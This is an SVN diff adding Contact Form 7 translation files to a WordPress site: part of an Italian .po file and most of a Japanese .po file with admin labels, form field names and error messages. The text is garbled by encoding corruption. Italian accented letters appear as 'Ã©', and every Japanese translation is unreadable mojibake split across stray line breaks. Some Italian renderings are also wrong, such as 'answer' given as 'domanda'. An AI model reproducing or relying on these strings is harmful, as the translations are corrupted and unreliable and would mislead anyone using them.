+#: contact-form-7/admin/admin-panel.php:45
+msgid "Add new"
+msgstr "Aggiungi nuovo"
+
+#: contact-form-7/admin/admin-panel.php:67
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Copia ed incolla questo codice nel tuo articolo, pagina o contenuto del widget di testo."
+
+#: contact-form-7/admin/admin-panel.php:75
+#: contact-form-7/admin/admin-panel.php:327
+msgid "Save"
+msgstr "Salva"
+
+#: contact-form-7/admin/admin-panel.php:82
+msgid "Copy"
+msgstr "Copia"
+
+#: contact-form-7/admin/admin-panel.php:87
+msgid "Delete"
+msgstr "Cancella"
+
+#: contact-form-7/admin/admin-panel.php:89
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Stai per cancellare questo modulo di contatto.\n"
+"  'Cancel' per annullare, 'OK' per proseguire."
+
+#: contact-form-7/admin/admin-panel.php:102
+msgid "Form"
+msgstr "Modulo"
+
+#: contact-form-7/admin/admin-panel.php:120
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/admin/admin-panel.php:127
+#: contact-form-7/admin/admin-panel.php:188
+msgid "To:"
+msgstr "A:"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:193
+msgid "From:"
+msgstr "Da:"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:198
+msgid "Subject:"
+msgstr "Oggetto:"
+
+#: contact-form-7/admin/admin-panel.php:144
+#: contact-form-7/admin/admin-panel.php:205
+msgid "Additional headers:"
+msgstr "Intestazioni aggiuntive"
+
+#: contact-form-7/admin/admin-panel.php:149
+#: contact-form-7/admin/admin-panel.php:210
+msgid "File attachments:"
+msgstr "File allegati:"
+
+#: contact-form-7/admin/admin-panel.php:157
+#: contact-form-7/admin/admin-panel.php:218
+msgid "Use HTML content type"
+msgstr "Utilizza contenuti in HTML"
+
+#: contact-form-7/admin/admin-panel.php:164
+#: contact-form-7/admin/admin-panel.php:225
+msgid "Message body:"
+msgstr "Corpo del messaggio:"
+
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:180
+msgid "Use mail (2)"
+msgstr "Utilizza mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:235
+msgid "Messages"
+msgstr "Messaggi"
+
+#: contact-form-7/admin/admin-panel.php:243
+msgid "Sender's message was sent successfully"
+msgstr "Il messaggio del mittente Ã© stato inviato con successo"
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Sender's message was failed to send"
+msgstr "Il messaggio del mittente non Ã© stato inviato"
+
+#: contact-form-7/admin/admin-panel.php:253
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet ha ritenuto come spam questo invio del messaggio"
+
+#: contact-form-7/admin/admin-panel.php:258
+msgid "Validation errors occurred"
+msgstr "Si Ã© verificato un errore di convalida"
+
+#: contact-form-7/admin/admin-panel.php:263
+msgid "There is a field that sender is needed to fill in"
+msgstr "E' ancora presente un campo dati che deve essere compilato dal mittente"
+
+#: contact-form-7/admin/admin-panel.php:268
+msgid "Email address that sender entered is invalid"
+msgstr "L'indirizzo email inserito dal mittente non Ã© valido"
+
+#: contact-form-7/admin/admin-panel.php:273
+msgid "There is a field of term that sender is needed to accept"
+msgstr "E' ancora presente un campo dati che deve essere accettato dal mittente"
+
+#: contact-form-7/admin/admin-panel.php:278
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "Il mittente non ha inserito la risposta corretta"
+
+#: contact-form-7/admin/admin-panel.php:283
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Il codice inserito dal mittente non corrisponde con il CAPTCHA"
+
+#: contact-form-7/admin/admin-panel.php:288
+msgid "Uploading a file fails for any reason"
+msgstr "Non Ã© stato possibile caricare il file (ragione generica)"
+
+#: contact-form-7/admin/admin-panel.php:293
+msgid "Uploaded file is not allowed file type"
+msgstr "Non Ã© stato possibile caricare il file (estensione non consentita)"
+
+#: contact-form-7/admin/admin-panel.php:298
+msgid "Uploaded file is too large"
+msgstr "Non Ã© stato possibile caricare il file (dimensione eccessiva)"
+
+#: contact-form-7/admin/admin-panel.php:309
+msgid "Additional Settings"
+msgstr "Impostazioni aggiuntive"
+
+#: contact-form-7/admin/admin.php:118
+msgid "Contact"
+msgstr "C F 7"
+
+#: contact-form-7/admin/admin.php:121
+msgid "Edit Contact Forms"
+msgstr "Modifica Contact Forms"
+
+#: contact-form-7/admin/admin.php:121
+msgid "Edit"
+msgstr "Modifica"
+
+#: contact-form-7/admin/admin.php:168
+msgid "optional"
+msgstr "facoltativo"
+
+#: contact-form-7/admin/admin.php:169
+msgid "Generate Tag"
+msgstr "Genera tag"
+
+#: contact-form-7/admin/admin.php:170
+msgid "Text field"
+msgstr "Campo testo"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Email field"
+msgstr "Campo email"
+
+#: contact-form-7/admin/admin.php:172
+msgid "Text area"
+msgstr "Area di testo"
+
+#: contact-form-7/admin/admin.php:173
+msgid "Drop-down menu"
+msgstr "Menu a tendina"
+
+#: contact-form-7/admin/admin.php:174
+msgid "Checkboxes"
+msgstr "Caselle di verifica"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Radio buttons"
+msgstr "Radio buttons"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Acceptance"
+msgstr "Consenso"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Make this checkbox checked by default?"
+msgstr "Desideri che questa casella di verifica sia selezionata (predefinito)?"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Make this checkbox work inversely?"
+msgstr "Desideri che questa casella di verifica funzioni in modalitÃ  inversa?"
+
+#: contact-form-7/admin/admin.php:179
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* CiÃ² indica che il visitatore dovrÃ  de-selezionare la casella per esprimere il proprio consenso."
+
+#: contact-form-7/admin/admin.php:180
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Quiz"
+msgstr "Quesito"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Quizzes"
+msgstr "Quesiti"
+
+#: contact-form-7/admin/admin.php:183
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* quesito|domanda (ad esempio: 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:184
+msgid "File upload"
+msgstr "File caricato"
+
+#: contact-form-7/admin/admin.php:185
+msgid "bytes"
+msgstr "bytes"
+
+#: contact-form-7/admin/admin.php:186
+msgid "Submit button"
+msgstr "Pulsante di invio"
+
+#: contact-form-7/admin/admin.php:187
+msgid "Name"
+msgstr "Nome"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Required field?"
+msgstr "Campi obbligatori?"
+
+#: contact-form-7/admin/admin.php:189
+msgid "Allow multiple selections?"
+msgstr "Desideri permettere le selezioni multiple?"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Insert a blank item as the first option?"
+msgstr "Desideri lasciare in bianco la prima opzione?"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Make checkboxes exclusive?"
+msgstr "Desideri escludere le caselle di verifica?"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Choices"
+msgstr "Opzioni"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Label"
+msgstr "Etichetta"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Default value"
+msgstr "Valore predefinito"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/admin/admin.php:196
+msgid "This field requires author's name"
+msgstr "Questo campo necessita del nome autore"
+
+#: contact-form-7/admin/admin.php:197
+msgid "This field requires author's URL"
+msgstr "Questo campo necessita dell'URL autore"
+
+#: contact-form-7/admin/admin.php:198
+msgid "This field requires author's email address"
+msgstr "Questo campo necessita dell'indirizzo email autore"
+
+#: contact-form-7/admin/admin.php:199
+msgid "Copy this code and paste it into the form left."
+msgstr "Copia questo codice ed incollalo nel modulo a sinistra."
+
+#: contact-form-7/admin/admin.php:200
+msgid "Foreground color"
+msgstr "Colore di primo piano"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Background color"
+msgstr "Colore di sfondo"
+
+#: contact-form-7/admin/admin.php:202
+msgid "Image size"
+msgstr "Dimensione immagine"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Small"
+msgstr "Piccola"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Medium"
+msgstr "Media"
+
+#: contact-form-7/admin/admin.php:205
+msgid "Large"
+msgstr "Grande"
+
+#: contact-form-7/admin/admin.php:206
+msgid "Image settings"
+msgstr "Impostazioni immagine"
+
+#: contact-form-7/admin/admin.php:207
+msgid "Input field settings"
+msgstr "Impostazione campo dati"
+
+#: contact-form-7/admin/admin.php:208
+msgid "For image"
+msgstr "Per immagine"
+
+#: contact-form-7/admin/admin.php:209
+msgid "For input field"
+msgstr "Per campo dati"
+
+#: contact-form-7/admin/admin.php:210
+msgid "* One choice per line."
+msgstr "* Una opzione per linea."
+
+#: contact-form-7/admin/admin.php:211
+msgid "Show"
+msgstr "Mostra"
+
+#: contact-form-7/admin/admin.php:212
+msgid "Hide"
+msgstr "Nascondi"
+
+#: contact-form-7/admin/admin.php:213
+msgid "File size limit"
+msgstr "Limite dimensione file"
+
+#: contact-form-7/admin/admin.php:214
+msgid "Acceptable file types"
+msgstr "Tipologia di file consentiti"
+
+#: contact-form-7/admin/admin.php:215
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "Nota: per l'utilizzo del CAPTCHA Ã© necessaria l'installazione del plugin Really Simple CAPTCHA."
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form created."
+msgstr "Il modulo di contatto Ã© stato creato."
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form saved."
+msgstr "Il modulo di contatto Ã© stato salvato. "
+
+#: contact-form-7/admin/admin.php:232
+msgid "Contact form deleted."
+msgstr "Il modulo di contatto Ã© stato cancellato. "
+
+#: contact-form-7/admin/admin.php:235
+msgid "Database table created."
+msgstr "E' stata creata la tabella nel database."
+
+#: contact-form-7/admin/admin.php:238
+msgid "Failed to create database table."
+msgstr "Non Ã© stato possibile creare la tabella nel database"
+
+#: contact-form-7/admin/admin.php:311
+msgid "Contact form"
+msgstr "Modulo di contatto"
+
+#: contact-form-7/admin/admin.php:345
+msgid "Settings"
+msgstr "Impostazioni"
+
+#: contact-form-7/admin/admin.php:366
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 ha bisogno del tuo sostegno. Effettua una donazione oggi stesso."
+
+#: contact-form-7/admin/admin.php:367
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Questo plugin ti Ã© utile? Aiuta lo sviluppatore."
+
+#: contact-form-7/admin/admin.php:368
+msgid "Your contribution is needed for making this plugin better."
+msgstr "Il tuo contributo Ã© necessario per potere rendere migliore questo plugin."
+
+#: contact-form-7/admin/admin.php:369
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Lo sviluppo di un plugin ed il servizio di assistenza agli utenti comporta un notevole lavoro. Aiutami!"
+
+#: contact-form-7/includes/classes.php:536
+msgid "Untitled"
+msgstr "Senza titolo"
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "Il tuo messaggio Ã© stato inviato con successo. Grazie."
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Si Ã© verificato un errore durante l'invio del tuo messaggio. Riprova in un secondo momento oppure contatta in un altro modo l'amministratore del sito."
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Si Ã© verificato un errore di convalida. Controlla i campi obbligatori ed invia nuovamente il messaggio."
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "Accetta i termini prima di procedere"
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "Pare che l'indirizzo email non sia valido."
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "Riempire tutti i campi richiesti. Grazie"
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Il codice che hai inserito non Ãš valido"
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "La risposta che hai inserito non Ã© corretta"
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "Si Ã© verificato un errore durante il caricamento del file"
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Questo tipo di file non Ã© permesso"
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Questo file Ã© troppo grande"
+
+#: contact-form-7/includes/functions.php:33
+msgid "Your Name"
+msgstr "Il tuo nome"
+
+#: contact-form-7/includes/functions.php:33
+#: contact-form-7/includes/functions.php:35
+msgid "(required)"
+msgstr "(richiesto)"
+
+#: contact-form-7/includes/functions.php:35
+msgid "Your Email"
+msgstr "La tua email"
+
+#: contact-form-7/includes/functions.php:37
+msgid "Subject"
+msgstr "Oggetto"
+
+#: contact-form-7/includes/functions.php:39
+msgid "Your Message"
+msgstr "Il tuo messaggio"
+
+#: contact-form-7/includes/functions.php:41
+#: contact-form-7/modules/submit.php:37
+msgid "Send"
+msgstr "Invia"
+
+#: contact-form-7/modules/captcha.php:62
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "Per l'utilizzo del CAPTCHA Ã© necessaria l'installazione del plugin <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a>."
+
+#~ msgid "(You need WordPress 2.7 or greater to use this feature)"
+#~ msgstr ""
+#~ "(Ã© necessaria una versione di WordPress 2.7 o superiore per potere "
+#~ "utilizzare questa funzione)"
+#~ msgid "Form content"
+#~ msgstr "Contenuti del modulo"
+#~ msgid "Mail template"
+#~ msgstr "Template email"
+#~ msgid "Sender field:"
+#~ msgstr "Campo mittente:"
+#~ msgid "Recipient address:"
+#~ msgstr "Indirizzo del destinatario:"
+#~ msgid "Delete this contact form"
+#~ msgstr "Elimina questa form di contatto"
+#~ msgid "Check this field as sender&#39;s name"
+#~ msgstr "Controlla questo campo come indirizzo del mittente"
+#~ msgid "Check this field as sender&#39;s email"
+#~ msgstr "Controlla questo campo come email del mittente"
+#~ msgid "Check this field as sender&#39;s URL"
+#~ msgstr "Controlla questo campo come URL del mittente"
+#~ msgid "Don&#39;t check this field with Akismet"
+#~ msgstr "Non controllare questo campo con Akismet"
+#~ msgid "Insert"
+#~ msgstr "Inserisci"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ja.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ja.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ja.po	(revision 44)
@@ -0,0 +1,567 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-30 19:21+0900\n"
+"PO-Revision-Date: 2009-08-30 19:22+0900\n"
+"Last-Translator: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"Language-Team: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Japanese\n"
+"X-Poedit-Country: JAPAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/admin/admin-panel.php:9
+#, php-format
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong> You must <a href=\"%s\">create the table</a> for it to work."
+msgstr "<strong>Contact Form 7 ã®ããŒã¿ããŒã¹ããŒãã«ããããŸããã</strong><a href=\"%s\">ããŒãã«ãäœæ</a>ããå¿
+èŠããããŸãã"
+
+#: contact-form-7/admin/admin-panel.php:12
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong>"
+msgstr "<strong>Contact Form 7 ã®ããŒã¿ããŒã¹ããŒãã«ããããŸããã</strong>"
+
+#: contact-form-7/admin/admin-panel.php:17
+#: contact-form-7/admin/admin-panel.php:30
+#: contact-form-7/admin/admin.php:119
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/admin/admin-panel.php:45
+msgid "Add new"
+msgstr "æ°èŠè¿œå "
+
+#: contact-form-7/admin/admin-panel.php:67
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "ãã®ã³ãŒããã³ããŒããŠãæçš¿ãããŒãžããŸãã¯ãã­ã¹ããŠã£ãžã§ããã®æ¬æå
+ã«ããŒã¹ãããŠãã ããã"
+
+#: contact-form-7/admin/admin-panel.php:75
+#: contact-form-7/admin/admin-panel.php:332
+msgid "Save"
+msgstr "ä¿å­"
+
+#: contact-form-7/admin/admin-panel.php:82
+msgid "Copy"
+msgstr "è€è£œ"
+
+#: contact-form-7/admin/admin-panel.php:87
+msgid "Delete"
+msgstr "åé€ "
+
+#: contact-form-7/admin/admin-panel.php:89
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"ãã®ã³ã³ã¿ã¯ããã©ãŒã ãåé€ããããšããŠããŸãã\n"
+"  'ã­ã£ã³ã»ã«' ã§äž­æ­¢ã 'OK' ã§åé€ããŸãã"
+
+#: contact-form-7/admin/admin-panel.php:102
+msgid "Form"
+msgstr "ãã©ãŒã "
+
+#: contact-form-7/admin/admin-panel.php:120
+msgid "Mail"
+msgstr "ã¡ãŒã«"
+
+#: contact-form-7/admin/admin-panel.php:127
+#: contact-form-7/admin/admin-panel.php:188
+msgid "To:"
+msgstr "å®å
+:"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:193
+msgid "From:"
+msgstr "å·®åºäºº:"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:198
+msgid "Subject:"
+msgstr "ä»¶å:"
+
+#: contact-form-7/admin/admin-panel.php:144
+#: contact-form-7/admin/admin-panel.php:205
+msgid "Additional headers:"
+msgstr "è¿œå ããããŒ:"
+
+#: contact-form-7/admin/admin-panel.php:149
+#: contact-form-7/admin/admin-panel.php:210
+msgid "File attachments:"
+msgstr "ãã¡ã€ã«æ·»ä»:"
+
+#: contact-form-7/admin/admin-panel.php:157
+#: contact-form-7/admin/admin-panel.php:218
+msgid "Use HTML content type"
+msgstr "HTML åœ¢åŒã®ã¡ãŒã«ãäœ¿çšãã"
+
+#: contact-form-7/admin/admin-panel.php:164
+#: contact-form-7/admin/admin-panel.php:225
+msgid "Message body:"
+msgstr "ã¡ãã»ãŒãžæ¬æ:"
+
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Mail (2)"
+msgstr "ã¡ãŒã« (2)"
+
+#: contact-form-7/admin/admin-panel.php:180
+msgid "Use mail (2)"
+msgstr "ã¡ãŒã« (2) ãäœ¿ã"
+
+#: contact-form-7/admin/admin-panel.php:235
+msgid "Messages"
+msgstr "ã¡ãã»ãŒãž"
+
+#: contact-form-7/admin/admin-panel.php:243
+msgid "Sender's message was sent successfully"
+msgstr "ã¡ãã»ãŒãžãæ­£åžžã«éä¿¡ããã"
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Sender's message was failed to send"
+msgstr "ã¡ãã»ãŒãžã®éä¿¡ã«å€±æãã"
+
+#: contact-form-7/admin/admin-panel.php:253
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet ã«ããã¹ãã è¡çºãšå€å®ããã"
+
+#: contact-form-7/admin/admin-panel.php:258
+msgid "Validation errors occurred"
+msgstr "å
+¥åå
+å®¹ã«äžåãèŠã€ãã£ã"
+
+#: contact-form-7/admin/admin-panel.php:263
+msgid "There is a field that sender is needed to fill in"
+msgstr "å
+¥åå¿
+é ã®é 
+ç®ãå
+¥åãããŠããªã"
+
+#: contact-form-7/admin/admin-panel.php:268
+msgid "Email address that sender entered is invalid"
+msgstr "å
+¥åãããã¡ãŒã«ã¢ãã¬ã¹ã®åœ¢åŒãæ­£ãããªã"
+
+#: contact-form-7/admin/admin-panel.php:273
+msgid "There is a field of term that sender is needed to accept"
+msgstr "æ¿è«Ÿãå¿
+èŠãªé 
+ç®ãæ¿è«ŸãããŠããªã"
+
+#: contact-form-7/admin/admin-panel.php:278
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "ã¯ã€ãºã«å¯Ÿããæ­£ããç­ããå
+¥åãããªãã£ã"
+
+#: contact-form-7/admin/admin-panel.php:283
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "å
+¥åãããã³ãŒãã CAPTCHA ã«é©åããŠããªã"
+
+#: contact-form-7/admin/admin-panel.php:288
+msgid "Uploading a file fails for any reason"
+msgstr "ãã¡ã€ã«ã®ã¢ããã­ãŒããäœããã®çç±ã«ããå€±æããŠãã"
+
+#: contact-form-7/admin/admin-panel.php:293
+msgid "Uploaded file is not allowed file type"
+msgstr "ã¢ããã­ãŒãããããã¡ã€ã«ãèš±å¯ããããã¡ã€ã«åœ¢åŒã«é©åããªã"
+
+#: contact-form-7/admin/admin-panel.php:298
+msgid "Uploaded file is too large"
+msgstr "ã¢ããã­ãŒãããããã¡ã€ã«ãå€§ãããã"
+
+#: contact-form-7/admin/admin-panel.php:303
+msgid "Uploading a file fails for PHP error"
+msgstr "ãã¡ã€ã«ã®ã¢ããã­ãŒãã PHP ã®ãšã©ãŒã«ããå€±æããŠãã"
+
+#: contact-form-7/admin/admin-panel.php:314
+msgid "Additional Settings"
+msgstr "ãã®ä»ã®èš­å®"
+
+#: contact-form-7/admin/admin.php:119
+msgid "Contact"
+msgstr "ãåãåãã"
+
+#: contact-form-7/admin/admin.php:123
+msgid "Edit Contact Forms"
+msgstr "ã³ã³ã¿ã¯ããã©ãŒã ã®ç·šé"
+
+#: contact-form-7/admin/admin.php:123
+msgid "Edit"
+msgstr "ç·šé"
+
+#: contact-form-7/admin/admin.php:178
+msgid "optional"
+msgstr "ãªãã·ã§ã³"
+
+#: contact-form-7/admin/admin.php:179
+msgid "Generate Tag"
+msgstr "ã¿ã°ã®äœæ"
+
+#: contact-form-7/admin/admin.php:180
+msgid "Text field"
+msgstr "ãã­ã¹ãé 
+ç®"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Email field"
+msgstr "ã¡ãŒã«ã¢ãã¬ã¹é 
+ç®"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Text area"
+msgstr "ãã­ã¹ããšãªã¢"
+
+#: contact-form-7/admin/admin.php:183
+msgid "Drop-down menu"
+msgstr "ãã­ããããŠã³ã»ã¡ãã¥ãŒ"
+
+#: contact-form-7/admin/admin.php:184
+msgid "Checkboxes"
+msgstr "ãã§ãã¯ããã¯ã¹"
+
+#: contact-form-7/admin/admin.php:185
+msgid "Radio buttons"
+msgstr "ã©ãžãªãã¿ã³"
+
+#: contact-form-7/admin/admin.php:186
+msgid "Acceptance"
+msgstr "æ¿è«Ÿã®ç¢ºèª"
+
+#: contact-form-7/admin/admin.php:187
+msgid "Make this checkbox checked by default?"
+msgstr "åæç¶æ
+ã§ãã§ãã¯ããã¯ã¹ã«ãã§ãã¯ãå
+¥ããŸãã?"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Make this checkbox work inversely?"
+msgstr "ãã§ãã¯ããã¯ã¹ãåè»¢ãããŸãã?"
+
+#: contact-form-7/admin/admin.php:189
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* ã€ãŸããå©çšè
+ã«ã¯æ¡é 
+ã«æ¿è«Ÿããå Žåã«ãã§ãã¯ããã¯ã¹ã®ãã§ãã¯ãã¯ãããŠããããŸãã"
+
+#: contact-form-7/admin/admin.php:190
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Quiz"
+msgstr "ã¯ã€ãº"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Quizzes"
+msgstr "è³ªåãšç­ã"
+
+#: contact-form-7/admin/admin.php:193
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* è³ªå|ç­ã (äŸ: 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:194
+msgid "File upload"
+msgstr "ãã¡ã€ã«ã®ã¢ããã­ãŒã"
+
+#: contact-form-7/admin/admin.php:195
+msgid "bytes"
+msgstr "ãã€ã"
+
+#: contact-form-7/admin/admin.php:196
+msgid "Submit button"
+msgstr "éä¿¡ãã¿ã³"
+
+#: contact-form-7/admin/admin.php:197
+msgid "Name"
+msgstr "åå"
+
+#: contact-form-7/admin/admin.php:198
+msgid "Required field?"
+msgstr "å¿
+é å
+¥åã®é 
+ç®ã§ãã?"
+
+#: contact-form-7/admin/admin.php:199
+msgid "Allow multiple selections?"
+msgstr "è€æ°éžæãå¯èœã«ããŸãã?"
+
+#: contact-form-7/admin/admin.php:200
+msgid "Insert a blank item as the first option?"
+msgstr "å
+é ­ã«ç©ºã®é 
+ç®ãæ¿å
+¥ããŸãã?"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Make checkboxes exclusive?"
+msgstr "ãã§ãã¯ããã¯ã¹ãæä»åããŸãã?"
+
+#: contact-form-7/admin/admin.php:202
+msgid "Choices"
+msgstr "éžæé 
+ç®"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Label"
+msgstr "ã©ãã«"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Default value"
+msgstr "ããã©ã«ãå€"
+
+#: contact-form-7/admin/admin.php:205
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/admin/admin.php:206
+msgid "This field requires author's name"
+msgstr "éä¿¡è
+ã®ååã®å
+¥åãèŠæ±ããé 
+ç®"
+
+#: contact-form-7/admin/admin.php:207
+msgid "This field requires author's URL"
+msgstr "éä¿¡è
+ã® URL ã®å
+¥åãèŠæ±ããé 
+ç®"
+
+#: contact-form-7/admin/admin.php:208
+msgid "This field requires author's email address"
+msgstr "éä¿¡è
+ã®ã¡ãŒã«ã¢ãã¬ã¹ã®å
+¥åãèŠæ±ããé 
+ç®"
+
+#: contact-form-7/admin/admin.php:209
+msgid "Copy this code and paste it into the form left."
+msgstr "ãã®ã³ãŒããã³ããŒããŠãå·Šã®ãã©ãŒã å
+ã«ããŒã¹ãããŠãã ããã"
+
+#: contact-form-7/admin/admin.php:210
+msgid "Foreground color"
+msgstr "æå­è²"
+
+#: contact-form-7/admin/admin.php:211
+msgid "Background color"
+msgstr "èæ¯è²"
+
+#: contact-form-7/admin/admin.php:212
+msgid "Image size"
+msgstr "ç»åãµã€ãº"
+
+#: contact-form-7/admin/admin.php:213
+msgid "Small"
+msgstr "å°"
+
+#: contact-form-7/admin/admin.php:214
+msgid "Medium"
+msgstr "äž­"
+
+#: contact-form-7/admin/admin.php:215
+msgid "Large"
+msgstr "å€§"
+
+#: contact-form-7/admin/admin.php:216
+msgid "Image settings"
+msgstr "ç»åã®èš­å®"
+
+#: contact-form-7/admin/admin.php:217
+msgid "Input field settings"
+msgstr "å
+¥åé 
+ç®ã®èš­å®"
+
+#: contact-form-7/admin/admin.php:218
+msgid "For image"
+msgstr "ç»å"
+
+#: contact-form-7/admin/admin.php:219
+msgid "For input field"
+msgstr "å
+¥åé 
+ç®"
+
+#: contact-form-7/admin/admin.php:220
+msgid "* One choice per line."
+msgstr "* 1è¡ããšã«åããŠå
+¥åããŠãã ããã"
+
+#: contact-form-7/admin/admin.php:221
+msgid "Show"
+msgstr "è¡šç€º"
+
+#: contact-form-7/admin/admin.php:222
+msgid "Hide"
+msgstr "éè¡šç€º"
+
+#: contact-form-7/admin/admin.php:223
+msgid "File size limit"
+msgstr "ãã¡ã€ã«ãµã€ãºã®äžé"
+
+#: contact-form-7/admin/admin.php:224
+msgid "Acceptable file types"
+msgstr "åãå
+¥ãå¯èœãªãã¡ã€ã«åœ¢åŒ"
+
+#: contact-form-7/admin/admin.php:225
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "ãç¥ãã: CAPTCHA ãäœ¿ãã«ã¯ Really Simple CAPTCHA ãã©ã°ã€ã³ã®ã€ã³ã¹ããŒã«ãå¿
+èŠã§ãã"
+
+#: contact-form-7/admin/admin.php:236
+msgid "Contact form created."
+msgstr "ã³ã³ã¿ã¯ããã©ãŒã ãäœæãããŸããã"
+
+#: contact-form-7/admin/admin.php:239
+msgid "Contact form saved."
+msgstr "ã³ã³ã¿ã¯ããã©ãŒã ãä¿å­ãããŸããã"
+
+#: contact-form-7/admin/admin.php:242
+msgid "Contact form deleted."
+msgstr "ã³ã³ã¿ã¯ããã©ãŒã ãåé€ãããŸããã"
+
+#: contact-form-7/admin/admin.php:245
+msgid "Database table created."
+msgstr "ããŒã¿ããŒã¹ããŒãã«ãäœæããŸããã"
+
+#: contact-form-7/admin/admin.php:248
+msgid "Failed to create database table."
+msgstr "ããŒã¿ããŒã¹ããŒãã«ãäœæã§ããŸããã§ããã"
+
+#: contact-form-7/admin/admin.php:321
+msgid "Contact form"
